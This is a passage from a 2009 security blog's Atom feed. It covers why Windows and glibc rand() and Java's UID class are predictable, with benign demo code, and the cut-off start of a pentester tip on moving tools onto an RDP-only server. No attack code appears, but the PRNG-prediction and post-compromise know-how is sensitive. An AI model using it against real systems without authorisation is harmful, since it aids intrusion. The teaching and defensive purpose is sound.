0x7fff. Therefore, rand() produces values between 0 and &lt;a href="http://msdn.microsoft.com/en-us/library/2dfe3bzd(VS.71).aspx"&gt;RAND_MAX&lt;/a&gt;, which has a hardcoded value of 2&lt;sup&gt;15&lt;span class="Apple-style-span"  style="font-size:16;"&gt;&lt;/span&gt;&lt;/sup&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is confirmed on Windows Seven 64-bit as seen below.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/rand.png"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 230px; DISPLAY: block; HEIGHT: 332px; CURSOR: hand" border="0" alt="" src="http://newsoft.dyndns.org/tech/rand.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Therefore, the odds of guessing rand() output on a single shot is 1 out of 2&lt;sup&gt;15&lt;/sup&gt;, which is already bad (as &lt;a href="http://blogs.technet.com/srd/archive/2008/04/09/ms08-020-how-predictable-is-the-dns-transaction-id.aspx"&gt;DNS knows&lt;/a&gt;).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;But finding out rand() internal state (which is trivial with a few known output values) could prove far more catastrophic. In fact, rand() should never be used at all - it is mostly there for compatibility reasons. Good Windows applications make use of &lt;a href="http://msdn.microsoft.com/en-us/library/aa379942(VS.85).aspx"&gt;CryptGenRandom()&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Out of curiosity, I also had a look at the &lt;a href="http://www.gnu.org/software/libc/"&gt;GNU libc&lt;/a&gt;. It turned out that rand() has several implementations, the most basic of which (referred as "type 0") being a Linear Congruential generator with the following parameters:&lt;/div&gt;&lt;div&gt;A = 1103515245&lt;br /&gt;B = 12345&lt;br /&gt;N = 2&lt;sup&gt;32&lt;/sup&gt;&lt;/div&gt;&lt;div&gt;RAND_MAX = 2&lt;sup&gt;31&lt;/sup&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Using this generator to produce int or unsigned int values will immediately leak the internal generator state to the client.&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;Newer implementations use a &lt;a href="http://en.wikipedia.org/wiki/LFSR"&gt;Linear Feedback Shift Register&lt;/a&gt;.&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;b&gt;Secure values&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;As we saw earlier, random does not always mean secure. But even if the developer used a cryptographically strong random generator, it can still fall prey to implementation mistakes.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;One recent example I had is the (Sun provided) &lt;a href="http://java.sun.com/j2se/1.4.2/docs/api/java/rmi/server/UID.html"&gt;java.rmi.server.UID&lt;/a&gt; class. Each word is important:&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;"A UID represents an identifier that is unique over time with respect to the host it is generated on, or one of 2&lt;sup&gt;16&lt;/sup&gt; "well-known" identifiers. (...) A UID instance contains three primitive values:&lt;/blockquote&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;i&gt;unique&lt;/i&gt;, an int that uniquely identifies the VM that this UID was generated in, with respect to its host and at the time represented by the time value (an example implementation of the unique value would be a process identifier), or zero for a well-known UID&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;time&lt;/i&gt;, a long equal to a time (as returned by System.currentTimeMillis()) at which the VM that this UID was generated in was alive, or zero for a well-known UID&lt;/blockquote&gt;&lt;blockquote&gt;&lt;i&gt;count&lt;/i&gt;, a short to distinguish UIDs generated in the same VM with the same time value"&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;So, secure or not? Hard to tell from the documentation ... Let's run the following code sample:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;package uidtest;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;import java.rmi.server.UID;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;public class Main {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;public static void main(String[] args) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;for (int i=0; i &amp;lt; 5; i++) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;UID u = new UID();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;System.out.println(u);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;$ javac uidtest.java&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;$ java uidtest&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;-8241e54:12334a437e6:-8000&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;-8241e54:12334a437e6:-7fff&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;-8241e54:12334a437e6:-7ffe&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;-8241e54:12334a437e6:-7ffd&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;-8241e54:12334a437e6:-7ffc&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So, it appears that &lt;i&gt;this &lt;/i&gt;&lt;i&gt;UID generator is a simple monotonous counter&lt;/i&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Since the &lt;a href="http://openjdk.java.net/"&gt;Sun JDK&lt;/a&gt; has been open-sourced, it is possible to have a deeper look at the implementation:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;public UID() {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;synchronized (lock) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;if (!hostUniqueSet) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;hostUnique = (new SecureRandom()).nextInt();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;hostUniqueSet = true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;unique = hostUnique;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;if (lastCount == Short.MAX_VALUE) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;boolean interrupted = Thread.interrupted();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;boolean done = false;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;while (!done) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;long now = System.currentTimeMillis();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;if (now &lt;= lastTime) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;// wait for time to change&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;try {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Thread.currentThread().sleep(1);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;} catch (InterruptedException e) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;interrupted = true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;} else {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;lastTime = now;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;lastCount = Short.MIN_VALUE;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;done = true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;if (interrupted) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Thread.currentThread().interrupt();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;time = lastTime;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;count = lastCount++;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="WHITE-SPACE: pre" class="Apple-tab-span"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="FONT-WEIGHT: normal" class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;First field is initialized with SecureRandom() ... once per process.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Second field is time in milliseconds. Second field changes when all possible values for the third field have been exhausted.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Third field is a monotonous 16-bit counter.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Conclusion: you should not rely on Java UID class for &lt;i&gt;secure &lt;/i&gt;UID generation!&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-7329873522385073205?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/7329873522385073205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=7329873522385073205' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/7329873522385073205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/7329873522385073205'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2009/09/unique-is-not-random-is-not-secure.html' title='Unique is not Random is not Secure'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-4104014140639587724</id><published>2009-08-28T08:00:00.002+01:00</published><updated>2009-08-28T08:00:06.185+01:00</updated><title type='text'>Pentester trick #9: exchanging files through RDP (without getting owned)</title><content type='html'>&lt;div&gt;Remote access to the target system is sometimes limited to &lt;a href="http://en.wikipedia.org/wiki/Remote_Desktop_Protocol"&gt;RDP protocol&lt;/a&gt; only (either &lt;i&gt;Remote Desktop&lt;/i&gt; or &lt;i&gt;Terminal Server&lt;/i&gt; access).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This is often the case with heavily firewalled systems, such as branch office servers exposed on the Internet with port TCP/3389 opened alone.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Previously gathered credentials might have allowed the pentester to break into such a system. However, how to get further without being able to access the Internet from the target ?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Locally available utilities (such as the &lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;NET&lt;/span&gt;&lt;/b&gt; command, VBScript-ing and the like) are invaluable in this case. But what about hardcore, &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=173"&gt;process-injecting utilities&lt;/a&gt; ?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A pretty well-known trick in this case is the ability to mount through the RDP protocol many client-side resources, such as &lt;i&gt;printers &lt;/i&gt;(NOT recommended), &lt;i&gt;clipboard &lt;/i&gt;and ... &lt;i&gt;hard drives&lt;/i&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/mstsc1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 411px; height: 471px;" src="http://newsoft.dyndns.org/tech/mstsc1.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/mstsc2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 419px; height: 435px;" src="http://newsoft.dyndns.org/tech/mstsc2.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;At this point, the novice pentester got his C drive mounted on the remote server, and all his utilities wiped out by server antivirus.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now it is time to call upon the 